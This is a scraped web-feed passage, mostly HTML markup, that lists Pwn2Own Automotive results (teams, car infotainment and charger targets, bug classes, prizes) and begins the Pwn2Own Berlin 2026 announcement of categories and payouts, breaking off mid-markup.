https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9f6d426b-8c56-4861-a0a7-5c7c2369de73/Team+DDOS+-+Alpine+iLX%E2%80%91F511.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Viettel Cyber Security (@vcslab) targeted the Sony XAV‑9500ES, exploiting a heap‑based buffer overflow to achieve arbitrary code execution, earning $10,000 USD and 2 Master of Pwn points. #Pwn2Own #P2OAuto </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg" data-image-dimensions="600x800" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=1000w" width="600" height="800" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/04a68b8c-32c5-4ee6-a86a-72ce671df8cc/Viettel+-+Sony+XAV%E2%80%919500ES.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  



<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - Qrious Secure (@qriousec) targeted the Kenwood system, demonstrating three bugs - one n-day and two unique vulnerabilities (incorrect permission assignment and a race condition), earning $4,000 USD and 1.75 Master of Pwn points.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Boom! or shall we say Doom? Game On! Aapo Oksman, Elias Ikkelä-Koski and Mikael Kantola of Juurin Oy exploit the Alpitronic HYC50 with a TOCTOU bug - and installed a playable version of Doom to boot. They earn $20,000 and 4 Master of Pwn points. #Pwn2Own #P2OAuto </p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png" data-image-dimensions="754x1316" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=1000w" width="754" height="1316" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/8455b103-fa8e-43f2-b81e-9c2dd9f2b246/Doom.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) targeted the Kenwood DNR1007XR, demonstrating one bug but encountering a collision, earning $2,500 USD and 1 Master of Pwn point. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg" data-image-dimensions="800x600" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=1000w" width="800" height="600" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d2df21c-b266-4878-a30a-e27adf71ef8a/Viettel+-+Kenwood+.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - Autocrypt (Hoyong Jin, Jaewoo Jeong, Chanhyeok Jung, Minsoo Son, and Kisang Choi) targeted the Alpine iLX-F511, demonstrating two vulnerabilities to gain root access. One collided with a previously known issue, earning $3,000 USD and 1.25 Master of Pwn points. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg" data-image-dimensions="800x600" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=1000w" width="800" height="600" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fc8cd1a5-592d-43e2-badb-5cdea239d228/Autocrypt+-+Alpine.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Elias Ikkelä-Koski and Aapo Oksman of Juurin Oy targeted the Kenwood DNR1007XR, demonstrating a link-following vulnerability to earn $5,000 USD and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg" data-image-dimensions="800x600" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=1000w" width="800" height="600" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2bc0b380-ec4f-487d-af2b-f3a751017166/Juurin+-+Kenwood+-+Success+.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  



<p><b data-preserve-html-node="true">SUCCESS</b> - Nam Ha Bach and Vu Tien Hoa of the FPT NightWolf Team targeted the Alpine iLX-F511, exploiting one unique vulnerability to gain root access and earning $5,000 USD and 2 Master of Pwn points. </p>
<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - Ryo Kato (@Pwn4S0n1c) targeted the Autel MaxiCharger AC Elite Home 40A, demonstrating a three-bug chain but encountering one collision, still earning $16,750 USD and 3.5 Master of Pwn points.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1500w 1500w, 